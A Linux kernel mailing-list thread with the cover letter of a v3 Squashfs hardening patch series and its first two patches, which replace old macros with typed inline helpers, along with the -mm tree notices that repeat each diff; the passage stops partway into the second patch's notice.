Squashfs: fix a lot of AI issues and AI style issues
Phillip Lougher
maintainerv3 cover Squashfs: fix a lot of AI issues and AI style issues
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Patch 7 fixes an incorrect offset value in TRACE statements in squashfs_read_inode(). This was new to the v2 patch-set.
Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 114 +++++++++---- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 93 +++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 77 +++++---- fs/squashfs/namei.c | 137 +++++++++++----- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 362 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1133 insertions(+), 422 deletions(-)
Phillip
---
Squashfs maintainer and author
Phillip Lougher
maintainerPATCH v3 1/23 Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/block.c | 11 ++++++----- fs/squashfs/cache.c | 1 + fs/squashfs/file.c | 3 ++- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 35 ++++++++++++++++++++++++++++++++++ 5 files changed, 44 insertions(+), 23 deletions(-) create mode 100644 fs/squashfs/squashfs_helpers.h
fs/squashfs/block.c +6 -5
@@ -23,6 +23,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "page_actor.h"
@@ -292,7 +293,7 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length, {struct squashfs_sb_info *msblk = sb->s_fs_info;struct bio *bio =NULL ; -int compressed; +bool compressed;int res;int offset;
@@ -300,8 +301,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,/* * Datablock. */ - compressed =SQUASHFS_COMPRESSED_BLOCK (length); - length =SQUASHFS_COMPRESSED_SIZE_BLOCK (length); + compressed =squashfs_compressed_block (length); + length =squashfs_compressed_size_block (length);TRACE ("Block @ 0x%llx, %scompressed size %d, src size %d\n" , index, compressed ?"" :"un" , length, output->length); }else {
@@ -341,8 +342,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,bio_uninit (bio);kfree (bio); - compressed =SQUASHFS_COMPRESSED (length); - length =SQUASHFS_COMPRESSED_SIZE (length); + compressed =squashfs_compressed (length); + length =squashfs_compressed_size (length); index +=2 ; TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2,
fs/squashfs/cache.c +1 -0
@@ -42,6 +42,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
fs/squashfs/file.c +2 -1
@@ -39,6 +39,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
@@ -188,7 +189,7 @@ static long long read_indexes(struct super_block *sb, int n, err = size; goto failure; } - block +=SQUASHFS_COMPRESSED_SIZE_BLOCK (size); + block +=squashfs_compressed_size_block (size); } n -= blocks; }
fs/squashfs/squashfs_fs.h +0 -17
@@ -101,22 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -/* Flag whether block is compressed or uncompressed, bit is set if block is -* uncompressed */ -#define SQUASHFS_COMPRESSED_BIT (1 << 15) - -#define SQUASHFS_COMPRESSED_SIZE (B ) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \ - (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT) - -#define SQUASHFS_COMPRESSED (B ) (!((B) & SQUASHFS_COMPRESSED_BIT)) - -#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) - -#define SQUASHFS_COMPRESSED_SIZE_BLOCK (B ) ((B) & \ - ~SQUASHFS_COMPRESSED_BIT_BLOCK) - -#define SQUASHFS_COMPRESSED_BLOCK (B ) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK)) -static inline int squashfs_block_size (__le32 raw) {u32 size =le32_to_cpu (raw);
@@ -449,5 +433,4 @@ struct squashfs_xattr_id_table {__le32 xattr_ids; __le32 unused; }; -#endif
fs/squashfs/squashfs_helpers.h new file +35 -0
@@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +#ifndef SQUASHFS_HELPERS_H +#define SQUASHFS_HELPERS_H +/* +* Copyright (c) 2026 +* Phillip Lougher <[email protected]> +*/ + +/* Flag whether block is compressed or uncompressed, bit is set if block is +* uncompressed +*/ +#define SQUASHFS_COMPRESSED_BIT (1 << 15) + +static inline s16 squashfs_compressed_size (s16 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT ; +} + +static inline bool squashfs_compressed (s16 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT ) ==0 ; +} + +#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) + +static inline s32 squashfs_compressed_size_block (s32 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ; +} + +static inline bool squashfs_compressed_block (s32 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; +} +#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_compressed_-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_compressed_-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_compressed_-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
Date: Mon, 23 Nov 2026 03:42:42 +0000
Patch series "Squashfs: fix a lot of AI issues and AI style issues", v3.
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Patch 7 fixes an incorrect offset value in TRACE statements in squashfs_read_inode(). This was new to the v2 patch-set.
Patch 8 is new to this v3 patch-set. The patch is an attempt to stop Sashiko from getting stuck in logical contradictions when some sanity checks are introduced later.
Patches 9 - 17 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 18 - 20 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 21 - 22 were new to the v2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 23 was also new to the v2 patch-set. It adds an additional belts and braces sanity check.
Patches 9 - 21 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
This patch (of 23):
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/block.c | 11 +++++---- fs/squashfs/cache.c | 1 fs/squashfs/file.c | 3 +- fs/squashfs/squashfs_fs.h | 17 --------------- fs/squashfs/squashfs_helpers.h | 35 +++++++++++++++++++++++++++++++ 5 files changed, 44 insertions(+), 23 deletions(-)
fs/squashfs/block.c renamed from fs/squashfs/block.c~squashfs-convert-squashfs_compressed_-to-inline-functions +6 -5
@@ -23,6 +23,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "page_actor.h"
@@ -292,7 +293,7 @@ int squashfs_read_data(struct super_bloc {struct squashfs_sb_info *msblk = sb->s_fs_info;struct bio *bio =NULL ; -int compressed; +bool compressed;int res;int offset;
@@ -300,8 +301,8 @@ int squashfs_read_data(struct super_bloc/* * Datablock. */ - compressed =SQUASHFS_COMPRESSED_BLOCK (length); - length =SQUASHFS_COMPRESSED_SIZE_BLOCK (length); + compressed =squashfs_compressed_block (length); + length =squashfs_compressed_size_block (length);TRACE ("Block @ 0x%llx, %scompressed size %d, src size %d\n" , index, compressed ?"" :"un" , length, output->length); }else {
@@ -341,8 +342,8 @@ int squashfs_read_data(struct super_blocbio_uninit (bio);kfree (bio); - compressed =SQUASHFS_COMPRESSED (length); - length =SQUASHFS_COMPRESSED_SIZE (length); + compressed =squashfs_compressed (length); + length =squashfs_compressed_size (length); index +=2 ; TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2,
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-convert-squashfs_compressed_-to-inline-functions +1 -0
@@ -42,6 +42,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-convert-squashfs_compressed_-to-inline-functions +2 -1
@@ -39,6 +39,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
@@ -188,7 +189,7 @@ static long long read_indexes(struct sup err = size; goto failure; } - block +=SQUASHFS_COMPRESSED_SIZE_BLOCK (size); + block +=squashfs_compressed_size_block (size); } n -= blocks; }
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_compressed_-to-inline-functions +0 -17
@@ -101,22 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -/* Flag whether block is compressed or uncompressed, bit is set if block is -* uncompressed */ -#define SQUASHFS_COMPRESSED_BIT (1 << 15) - -#define SQUASHFS_COMPRESSED_SIZE (B ) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \ - (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT) - -#define SQUASHFS_COMPRESSED (B ) (!((B) & SQUASHFS_COMPRESSED_BIT)) - -#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) - -#define SQUASHFS_COMPRESSED_SIZE_BLOCK (B ) ((B) & \ - ~SQUASHFS_COMPRESSED_BIT_BLOCK) - -#define SQUASHFS_COMPRESSED_BLOCK (B ) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK)) -static inline int squashfs_block_size (__le32 raw) {u32 size =le32_to_cpu (raw);
@@ -449,5 +433,4 @@ struct squashfs_xattr_id_table {__le32 xattr_ids; __le32 unused; }; -#endif
fs/squashfs/squashfs_helpers.h new file +35 -0
@@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +#ifndef SQUASHFS_HELPERS_H +#define SQUASHFS_HELPERS_H +/* +* Copyright (c) 2026 +* Phillip Lougher <[email protected]> +*/ + +/* Flag whether block is compressed or uncompressed, bit is set if block is +* uncompressed +*/ +#define SQUASHFS_COMPRESSED_BIT (1 << 15) + +static inline s16 squashfs_compressed_size (s16 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT ; +} + +static inline bool squashfs_compressed (s16 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT ) ==0 ; +} + +#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) + +static inline s32 squashfs_compressed_size_block (s32 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ; +} + +static inline bool squashfs_compressed_block (s32 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; +} +#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 2/23 Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
---
v2:
- Remove squashfs_inode_offset() additions to TRACE statements. This is now a separate patch.
--- fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-)
fs/squashfs/inode.c +13 -11
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; -int err, type, offset =SQUASHFS_INODE_OFFSET (ino); +u64 block =squashfs_inode_blk (ino) + msblk->inode_table; +int offset =squashfs_inode_offset (ino); +int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;int xattr_id =SQUASHFS_INVALID_XATTR ;
@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err) goto failed_read; - block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; - offset =SQUASHFS_INODE_OFFSET (ino); + block =squashfs_inode_blk (ino) + msblk->inode_table; + offset =squashfs_inode_offset (ino); type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {
@@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -SQUASHFS_INODE_BLK (ino), offset, +squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset, block, offset);break ; }
@@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_FIFO_TYPE :
fs/squashfs/namei.c +2 -1
@@ -49,6 +49,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry, off =le16_to_cpu (dire->offset); ino_num =le32_to_cpu (dirh.inode_number) + (short )le16_to_cpu (dire->inode_number); - ino =SQUASHFS_MKINODE (blk, off); + ino =squashfs_mkinode (blk, off); TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name,
fs/squashfs/squashfs_fs.h +0 -11
@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* -* Inode number ops. Inodes consist of a compressed block number, and an -* uncompressed offset within that block -*/ -#define SQUASHFS_INODE_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE (A ,B ) ((long long)(((long long) (A)\ - << 16) + (B))) -/* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES (A ) \ ((A) * sizeof(struct squashfs_fragment_entry))
fs/squashfs/squashfs_helpers.h +19 -0
@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_block(s32 size) {return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; } + +/* +* Inode number ops. Inodes consist of a compressed block number, and an +* uncompressed offset within that block +*/ +static inline u32 squashfs_inode_blk (s64 inode) +{ +return inode >>16 ; +} + +static inline u16 squashfs_inode_offset (s64 inode) +{ +return inode &0xffff ; +} + +static inline s64 squashfs_mkinode (u32 start,u16 offset) +{ +return ((s64 )start <<16 ) | offset; +}#endif
fs/squashfs/super.c +2 -1
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h"
@@ -286,7 +287,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)/* Check the root inode for sanity */ root_inode =le64_to_cpu (sblk->root_inode); -if (SQUASHFS_INODE_OFFSET (root_inode) >SQUASHFS_METADATA_SIZE ) +if (squashfs_inode_offset (root_inode) >SQUASHFS_METADATA_SIZE ) goto insanity; msblk->inode_table =le64_to_cpu (sblk->inode_table_start);
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
Date: Mon, 23 Nov 2026 03:42:43 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +13 -11
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *in {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; -int err, type, offset =SQUASHFS_INODE_OFFSET (ino); +u64 block =squashfs_inode_blk (ino) + msblk->inode_table; +int offset =squashfs_inode_offset (ino); +int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;int xattr_id =SQUASHFS_INVALID_XATTR ;
@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inif (err) goto failed_read; - block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; - offset =SQUASHFS_INODE_OFFSET (ino); + block =squashfs_inode_blk (ino) + msblk->inode_table; + offset =squashfs_inode_offset (ino); type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {
@@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *in inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *in inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -SQUASHFS_INODE_BLK (ino), offset, +squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *in }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset, block, offset);break ; }
@@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_FIFO_TYPE :
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +2 -1
@@ -49,6 +49,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(st off =le16_to_cpu (dire->offset); ino_num =le32_to_cpu (dirh.inode_number) + (short )le16_to_cpu (dire->inode_number); - ino =SQUASHFS_MKINODE (blk, off); + ino =squashfs_mkinode (blk, off); TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name,
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +0 -11
@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* -* Inode number ops. Inodes consist of a compressed block number, and an -* uncompressed offset within that block -*/ -#define SQUASHFS_INODE_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE (A ,B ) ((long long)(((long long) (A)\ - << 16) + (B))) -/* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES (A ) \ ((A) * sizeof(struct squashfs_fragment_entry))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +19 -0
